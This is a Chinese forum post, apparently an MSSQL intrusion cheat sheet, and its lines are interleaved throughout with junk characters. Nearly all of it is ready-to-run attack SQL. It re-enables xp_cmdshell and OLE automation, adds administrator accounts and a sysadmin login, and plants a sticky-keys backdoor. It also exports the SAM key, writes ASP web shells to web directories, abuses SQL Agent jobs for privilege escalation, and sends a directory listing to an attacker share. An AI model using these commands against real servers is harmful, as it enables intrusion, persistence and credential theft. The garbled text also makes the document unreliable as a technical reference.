1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
0 Q5 H) A1 y1 I2 z* u1 d7 t; z恢复方法:查询分离器连接后,; ]0 |' y: P V
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int % K& Q7 ^( ~% i3 E3 v+ X
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
( c2 d; e Z- M" C1 L然后按F5键命令执行完毕
$ R3 j4 o: u+ I7 \& D& E+ @6 v# y. c8 ?8 z4 E
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)4 j5 n/ \- K$ c
恢复方法:查询分离器连接后,
* m- F, D" A. R- e第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"3 q) N7 R2 l3 p, P; l
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'& ]( }. K3 D9 ?
然后按F5键命令执行完毕5 |* q4 }9 a* O1 c, [$ Y2 G; _' o, w
% g1 I1 W! _! [! D8 p3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)+ w9 _( J* Q3 V2 z/ c$ i
恢复方法:查询分离器连接后,; Z. N" y2 p! P+ H
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
{6 [3 _" w5 a% B7 [ v8 Q第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
+ L0 `; A$ s) A然后按F5键命令执行完毕
+ T5 C- D# m2 ~, S7 E6 b; `
X5 Y+ q5 a" E) y4 终极方法.
9 w' J9 M8 ^ l5 J5 y如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
: z7 T1 ?. B- F2 A3 }6 @3 l% \' f查询分离器连接后,
5 n7 M+ E% `- C2000servser系统:
4 H2 Z# _& C. ~* P2 s7 v% ndeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
! L B; i8 f5 M9 h: H6 X. m* Q1 F5 e3 T6 S
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
5 ?6 ^4 D) L1 J, K% X" S$ {0 T7 c$ v4 i& \5 B8 o2 l. F6 l3 U
xp或2003server系统:
3 i4 o& L7 x! k% T) v* ^# w$ q
. d; E4 h: s1 E# {. Cdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add') z1 s6 R& Z9 z! l
6 q! u1 N y% _9 E4 s
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'9 ?' Z- X+ F' G& e+ \% Z2 i
; n+ @9 S7 F: E/ f q
u# z' K3 d& P5 m) d9 W8 F: R4 y7 M五个SHIFT9 ~+ i; ~ a6 N' X
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';7 ] E5 x7 @2 Z
! f: c: r8 u' e8 @; `4 q9 cdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 9 Y' |! n9 D2 y. Y# X. n5 d
% x, y! F8 X% O1 l1 J0 f: i6 hxp_cmdshell执行命令另一种方法
$ N! p6 f. s; n1 t% _, R1 edeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' , i5 ]: W$ A8 P. O4 F1 i
; s; E$ c, p" m F; a# n. O" g
判断存储扩展是否存在' ]4 a/ K& d1 d% C! ?
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
" ~3 e" f1 d# X( ?返回结果为1就OK
5 h5 D p8 p5 m/ m0 M
4 t' P1 e; |% D: j* A; |! H; A! q7 _5 n3 U! f
上传xplog70.dll恢复xp_cmdshell语句:# }4 d4 Z1 Q' v
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'. k4 B7 a4 r# n" J; r! D- O; }
4 y F! ?6 c( S- M% i否则上传xplog7.0.dll
) H9 {6 U6 g- k( j1 }' ~Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
1 D7 y6 P& ^3 Y: s4 a3 I' F/ ?& M% h9 [% ^- Q9 T! `
( B- Y' Q9 J! B1 s# X. K; o6 f0 f3 j% t$ \: B
首先开启沙盘模式:, N. n+ w0 C2 |4 n
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',17 X% q7 E; p+ c! `
9 b# I: {6 R2 q3 W& ~+ p2 `( Y) u
然后利用jet.oledb执行系统命令
% p, ^5 Q- T7 i$ U# v* a1 kselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'): Q$ w1 b, d L2 P O c5 l5 o" W+ r0 U
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
9 |5 v! S6 H) z0 Q- O a+ \1 S% S' @; m- D( `
. |' |( o0 g! M' Z" a) C! v7 R6 w
恢复过程sp_addextendedproc 如下: ; Z0 I. J1 Q2 T
create procedure sp_addextendedproc --- 1996/08/30 20:13 ) `% Q1 {3 B, C4 N. f
@functname nvarchar(517),/* (owner.)name of function to call */
7 p1 I1 n: K& g5 i@dllname varchar(255)/* name of DLL containing function */ 8 j! |, C1 @( _/ ^# w+ b
as
; F1 ]1 w( t' b) [3 aset implicit_transactions off
9 S7 V: e v6 n* q9 d: n, Cif @@trancount > 0 2 s1 F# ]) z# f3 \, ?7 f
begin
8 U& x% p. d& H/ n; O1 ~+ Qraiserror(15002,-1,-1,'sp_addextendedproc') 8 S& N* E& N- q5 L, q$ `
return (1) & {0 A+ S# ~4 R$ K+ g
end
P, | O( w8 }2 A- U1 f9 L' idbcc addextendedproc( @functname, @dllname) 2 y' F6 H% B/ f! e' ?! b
return (0) -- sp_addextendedproc & P) T# j& U3 q3 i. i, d
GO
: R9 z# x$ z+ B% w9 P- |2 B0 d; O* N6 e5 {; q7 e2 a
9 ^, p4 T4 _7 s9 e
) u$ I m8 M, O6 U导出管理员密码文件7 G& A8 P3 w+ f# c: U$ f
sa默认可以读sam键.应该。
4 E/ {9 m5 h' L" h1 d _reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg- b1 \6 z- v/ P8 M+ m
net user administrator test0 ?1 J9 p0 S( J8 ^
用administrator登陆.% h. J0 y c8 e' t0 D: H3 U
用完机器后% y1 X4 v( ^5 ] E% t
reg import c:\test.reg1 ]! a, `" h, U+ M& O. m" K( Q# \
根本不用克隆.
$ G. U+ e( u/ h9 Z找到对应的sid.
) v. `/ M+ {/ j$ P2 y
+ ?( D1 [% S& p" K. L, P& J! [1 v( S4 Z, l1 b
9 _! v1 Z3 J$ f( m& [恢复所有存储过程
7 Y: S& V" Y Tuse master
# u" P* ?7 b3 Qexec sp_addextendedproc xp_enumgroups,'xplog70.dll' ' x" z, f8 Q# Q& h1 d- J
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' ( p( l5 {" _, p9 Z7 v
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' + K" y, f. P0 v
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 4 g3 d0 H0 D4 f. w+ V8 I
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
5 w! F' a* X" y' X# y0 X hexec sp_addextendedproc sp_OACreate,'odsole70.dll' # R' W4 H6 R! P' J# |: U3 P5 J
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' " Z" a) O0 |1 j4 Q _
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
% }; i! ?- Y* S7 A- j+ k- [) a: mexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' + N& R1 @) I. W- V& U
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
) _1 f5 q. W" H% l! [7 o1 P7 iexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
) u! h9 l/ c: B2 |% }- Y& Xexec sp_addextendedproc sp_OAStop,'odsole70.dll'
- `4 w3 ]2 Z6 _: C$ Sexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' " V1 Y/ s7 N" `* T; O
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
/ G5 r) r, q/ W2 O/ t! J# zexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
. X- p, J/ t6 F* f2 d. v* j" Dexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
* h# A- f& C1 f+ b. Q. p* H$ Aexec sp_addextendedproc xp_regread,'xpstar.dll' ) r9 ]: N r T, @" H3 T
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' ! g; G) [" @, m
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
, ~/ z$ f& r& Jexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
5 [+ Y I& |1 q5 L" `
1 q1 z: b4 E) }! ^: B# v6 x0 S
% e1 V B! l; e: n5 m& X0 A6 Y! A7 t建立读文件的存储过程' I# b6 j( v4 L5 O+ ]
Create proc sp_readTextFile @filename sysname2 F4 I. d$ B; U, I. ]* e
as$ b1 _& P$ D" i! N
5 H$ q9 J* g4 ^" N2 v1 K begin & f' X9 V. D3 ?; Q5 v
set nocount on - Z! l0 x j* F. P0 p- [
Create table #tempfile (line varchar(8000))$ _. V0 ? a# S2 H; S; A
exec ('bulk insert #tempfile from "' + @filename + '"')
; B* v* ]/ _ N1 n select * from #tempfile
! Q& z% b9 ? A drop table #tempfile7 `7 ]& W( n4 a0 q. [1 {
End# N4 N+ q6 W( V& {; C' l
2 c4 ]/ n* A) k$ Qexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
3 h# h1 ?/ x1 g7 x$ b查看登录用户4 [" N G- a' A# Q \
Select * from sysxlogins
2 N" U5 T9 D6 P. D) I! A
% {# t/ M) J; S6 }" M% c3 q把文件内容读取到表中 y' v: ~! P9 i
BULK INSERT tmp from "c:\test.txt"( Z' F7 A4 h) X! t
dElete from 表名 清理表里的内容
* B4 c- W1 [+ r+ r0 \ y/ }9 Ccreate table b_test(fn nvarchar(4000));建一个表,字段为fn- B2 q/ b2 M3 v0 T
5 t& Y+ b: F7 x; e6 S. u g
9 _, t- j$ S4 I v* B- g- f加sa用户' ^! R G8 R# K6 @+ v; I2 l9 e
exec master.dbo.sp_addlogin user,pass;
/ T& g& K8 s+ s) @0 {8 `& w# E* bexec master.dbo.sp_addsrvrolemember user,sysadmin
& B, d6 d. l& r/ }9 t, n4 t5 T
3 m& V2 r3 u$ W1 L E5 F
2 q: K4 S) L: [: O
/ @* l+ {2 x. ~9 T8 a读文件代码
3 G: Z, s3 W* G0 {1 |declare @o int, @f int, @t int, @ret int7 Y4 e( [- P2 \1 v
declare @line varchar(8000)
p! I7 H, u' @: F4 V2 aexec sp_oacreate 'scripting.filesystemobject', @o out
" v( ^( B& N/ C7 Wexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
b/ ?& W5 C. p& G' Z: H( Dexec @ret = sp_oamethod @f, 'readline', @line out
( ^% M9 I( y& Q' Hwhile( @ret = 0 )9 b3 {; H/ Y# s6 S; H9 ?% x0 \1 s2 w
begin
1 M9 _) z1 `3 b; ~( Pprint @line
0 {1 Q' V' i! h; [! g, Rexec @ret = sp_oamethod @f, 'readline', @line out
0 w! u3 Z7 s# V" m, }, Eend
% K+ K$ C* \- s5 z% B. _1 D9 @$ F% }# {# h% j# h$ t
/ a0 D6 x( x( `6 l1 o# N( e" T写文件代码:, j3 f, B$ ^9 l4 ~" W4 d. `1 d
declare @o int, @f int, @t int, @ret int' C1 o" l% z1 |/ Y
exec sp_oacreate 'scripting.filesystemobject', @o out9 I& R# I4 S- C+ _0 V: P
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
) n$ ?- ?) U* Q, ~exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
* f `+ P1 C) h2 M* l+ ?0 ^; ` w ` Q$ B) B
7 M# q/ X9 n( T
添加lake2 shell
" J9 @& A T, m; Ksp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'" |# j+ e$ C3 J) M
sp_dropextendedproc xp_lake2
) H! h$ ^1 ^8 A# l/ GEXEC xp_lake2 'net user'
5 f& e2 h; u, E8 i& W& F. D" S
9 t# n( n; p( y8 T* c. N2 S/ q y9 I9 k
得到硬盘文件信息 4 Y( Q! T0 q \. Q8 b# `
--参数说明:目录名,目录深度,是否显示文件
2 l2 ?$ B" E! @) y. O4 Aexecute master..xp_dirtree 'c:'
" t2 m4 ?% V; M! r! ^ k2 gexecute master..xp_dirtree 'c:',1
# l9 Y) Z8 t& A2 }execute master..xp_dirtree 'c:',1,1 : k e1 r4 o2 \3 X1 m$ P: E
! L P# J- [) z0 _
, x4 J) v: K) T* u7 h: y h# D
读serv-u配置信息
& J1 r5 O8 l5 _exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
1 G3 |# n5 s/ Cexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'- f- o9 }7 q( k/ q
7 X, m' S& N5 Z2 R! e h
通过xp_regwrite写SHIFT后门
2 M0 [) @3 d- `4 t# @' U1 a) D' ~exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
1 S+ A* P% c8 f7 I$ {
5 E. U) `% V2 P- a
$ _. C+ W0 |: @ B2 H% X
& y$ u# f( r4 h4 L3 L找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
w& `: D3 p# `exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
. [8 ~: w5 H" _" @5 ]5 A, q
9 S$ L; o& R' L8 Y, I; aEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
) f* L2 I" B/ z, e
9 X* B2 k' {1 ?+ D0 S9 R& e# y) C, R5 r2 S3 d$ c
# [' H9 b: X( g9 n7 a z, o
sql server 2005下开启xp_cmdshell的办法
9 j" u$ B! V8 B/ I( C9 s9 |+ o# @" f E& H: b% c$ c8 e# C
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
- W I1 }1 n" b* v
/ b; K+ J% F" S" dSQL2005开启'OPENROWSET'支持的方法:
) s% ~* e) h9 Z! u
& E) B+ S! B( ^/ y5 C+ |- C/ R/ }3 Rexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
! S! ~8 \$ Z1 E1 h) S% t5 X4 h2 i
, }& k) s8 t; X# {5 Q2 HSQL2005开启'sp_oacreate'支持的方法:
4 S7 o1 ]- S C* h. R
' |7 j: _9 p3 z0 [( Dexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
! E7 O: n ?+ z: \, I" f
1 O$ D& g0 j1 G# @, |
5 S$ H1 g( Y5 H" |4 M2 e3 A
- G0 t: [9 w8 F! B9 w
1 ]% A$ z A$ r9 }6 m& R& m! J, w
9 [5 j. ]. U, d! O1 c7 j2 c
7 ~8 V5 R$ j8 `. h% o6 g/ q0 g9 ~
' z, W) }* C p- k2 P' k) X- p7 R' W. S" z
3 W2 o T f# {% B4 m2 B3 D- q8 c: o
. k: r; B* f* }- J- j
2 n! f* ^4 c/ U! b; c; W, k
+ j* [; a; [8 a( }. Y' P
0 |2 _ y; ?$ |3 k0 B {4 f# I
- e- H- z% v( v/ Y) z" k; H5 T+ `- l7 D. K+ M7 F
# [5 ?& @9 ?# U U9 N4 s* D- I: r# ]# k V( a/ T. S8 ^" }2 O
0 ~8 e3 \' A9 W- B% j/ S
3 s0 P$ }/ N( i8 E* ^* d. ~9 \4 s8 W' L
& _7 D; W: H4 P1 i5 s" X$ k. ^& v8 P' [
3 G: b$ p4 n K' E6 N
- E3 P. W; j! l5 S) R
以下方面不知道能不能成功暂且留下研究哈:
/ ]$ j8 [% T# q4 e; K4)8 s4 @( W5 Z2 O* J
use msdb; --这儿不要是master哟
: N' v4 s" D5 S, E% dexec sp_add_job @job_name= czy82 ;
! P) a: k2 b( Q' Z7 Jexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;( u' k: A+ V/ s _5 j
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;% |) }3 u$ `4 J0 |
exec sp_start_job @job_name= czy82 ;; h# `- U" _. t3 a! a/ @$ d: s
' ?# z; {6 B* B8 s& i. C利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
$ O3 t) y$ C7 V4 v5 E$ }执行tsql语句了.& ~% n% a6 s% Q- `3 t
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
, i+ _* g; S. K' ]( r: V第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧) A7 V8 h P8 O; q3 d, B
net start SQLSERVERAGENT
2 A" c) ^ g" c2 j+ V
9 k& ~$ Z* \; M对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
( g, L6 K' I' V4 Y8 V r( EUSE msdb6 g4 n$ y# o# P1 ?
EXEC sp_add_job @job_name = GetSystemOnSQL ,
( u5 s# }' }" B0 B1 J+ A* _@enabled = 1,
! Q0 o" V3 k; ?1 D" r+ v3 \; O@description = This will give a low privileged user access to4 g; o6 M5 l: _# p
xp_cmdshell ,
6 }7 ~' x9 k% t }1 u@delete_level = 1# T1 \% S- A7 v
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,2 g: L- Y! n/ H
@step_name = Exec my sql ,
0 X) G- W) C) ^) L8 f@subsystem = TSQL ,, R! s3 d3 V4 a1 f
@command = exec master..xp_execresultset N select exec" ?9 d0 M. d7 E6 O% n9 j; i8 J
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
' Y4 ^3 ~1 q2 g" O1 F1 E$ ?EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
# Z) N6 B5 h: O; L# {$ `@server_name = 你的SQL的服务器名
+ x) m1 g" G( UEXEC sp_start_job @job_name = GetSystemOnSQL 4 O) R# Y8 D* z8 m% ]/ K9 ]* N
1 k) O5 O5 M1 p; P6 L3 @不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以2 U0 ~# u( T, P% d' X6 D d. K- u
才让我们可以以public执行xp_cmdshell
- {+ Q8 Z8 e4 g0 M8 g' q
; Y% [' _1 |9 H! \) x5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)4 N4 V, Q0 H6 O M" T" I/ m
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
7 p5 k2 U* R* V7 E! t9 d* J# J# i8 K" a2 I& H! J/ r! N; r
USE msdb2 U. z Q: c/ L# W/ |8 \$ `! P
EXEC sp_add_job @job_name = ArbitraryFilecreate ,) y! `. a: h7 C! D
@enabled = 1,' [, o, q* l# X: E ~
@description = This will create a file called c:\sqlafc123.txt ,, H6 r5 O4 f$ f& L2 [
@delete_level = 1" B" Q4 w* w( T
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
' a" @% @2 K f Z4 ~* v& b@step_name = SQLAFC ,1 O, _% ` B8 H0 `; I h
@subsystem = TSQL ,
- c2 @' `: h+ s- t4 H7 ], p@command = select hello, this file was created by the SQL Agent. ,; u& z8 p* g4 k7 @
@output_file_name = c:\sqlafc123.txt " C' V$ o" O7 _: m0 J8 T+ F' F
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,% v" k- r8 g8 m; R0 |' {
@server_name = SERVER_NAME
! n8 a/ Z D! s3 Q& f( h9 j9 bEXEC sp_start_job @job_name = ArbitraryFilecreate ) i. K$ L8 g5 o$ n5 g
# D5 N" A# O' G2 `
如果subsystem选的是:tsql,在生成的文件的头部有如下内容# W( j& r' X: D+ m) W- k
d. H6 \$ s' s' c+ L$ j9 p2 k3 y: g??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:190 J1 ~/ O; Y+ n! Y/ s+ ^3 @5 @
----------------------------------------------/ a$ U) t+ X+ a( ?
hello, this file was created by the SQL Agent.3 z5 ]4 i) @6 Y; ~
/ v4 T0 J# [$ Y9 j(1 ?????)
; O4 s" Q$ `& }. u9 c: ?3 g7 J' A1 |8 v$ P
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
! Y1 u7 u- _ M* O& l命令的vbs文件到启动目录!, N4 O# `! z8 M% V( M, n
0 f1 v) D; l+ Z/ S8 [6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
( t/ y9 {1 E! S! ?" E6 m关于sp_MScopyscriptfile 看下面的例子
+ E0 B: A+ v( y# edeclare @command varchar(100)
% d# m3 @8 W8 udeclare @scripfile varchar(200)
& r) p+ l+ }3 r/ }' ^set concat_null_yields_null off 0 S: t) X! l" t- r
select @command= dir c:\ > "\\attackerip\share\dir.txt" 0 Z0 w! O3 K# Y) X z/ I
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
& n8 C( E8 ^" p% Q1 ?9 j1 c( T; zexec sp_MScopyscriptfile @scripfile ,
) G H; k& V! r O+ S6 s% K
4 @, r& d5 t- g- ^( Y+ R8 ]9 @这两个东东都还在测试试哟1 `6 b# z, c5 `
让MSSQL的public用户得到一个本机的web shell
6 O. a- c7 i; }2 b. o. j& W& I9 R8 ~/ {% ]; C$ \8 Q$ W
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
/ _7 X2 q2 n8 l3 o2 w" M$ O# X0 N--@query= select <img src=vbscript:msgbox(now())>
. x% Y! q0 Z+ B3 n. F) y--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
* u+ \ I- `2 f8 h@query= select
, ^% D. D9 F7 _2 a2 K<%On Error Resume Next
4 ?* w* I7 P' nSet oscript = Server.createObject("wscript.SHELL")
' I; }5 a' w6 \Set oscriptNet = Server.createObject("wscript.NETWORK")
4 f8 o" K; x. f1 T8 K( G3 w+ K$ y$ P- NSet oFileSys = Server.createObject("scripting.FileSystemObject")
! ?: f2 Q& m9 w% r- rszCMD = Request.Form(".CMD")
5 J) X' B6 u2 z3 FIf (szCMD <>"")Then 5 A2 ^+ M6 i3 |2 B/ g" f
szTempFile = "C:\" & oFileSys.GetTempName() 6 W4 r9 ~( I) |) N
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 9 a, `4 j! l1 q/ b0 U; v7 `
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
& b7 I1 J* e& OEnd If %> # q. H* Z+ a/ t7 w2 s# x: h$ n
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
: i9 V7 s7 i- o9 J! A8 y<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
# A* z8 h. L3 p5 M5 B* q/ _</FORM>< RE>
; M, w) x# h+ D3 @% c# v<% If (IsObject(oFile))Then
. C! D4 ~4 c/ S! H; h5 [! O: NOn Error Resume Next
/ K Q4 J% O# _Response.Write Server.HTMLEncode(oFile.ReadAll) 8 ?% t' P/ W' j# C5 l8 b3 |
oFile.Close
& }4 z( W- J- w* nCall oFileSys.deleteFile(szTempFile, True) ; ], c+ }( z! O2 f
End If%>
. Y4 I6 f6 C9 ]* v! o# t* V</BODY></HTML> % s% I1 K8 h9 K3 q( H1 d$ b) e
|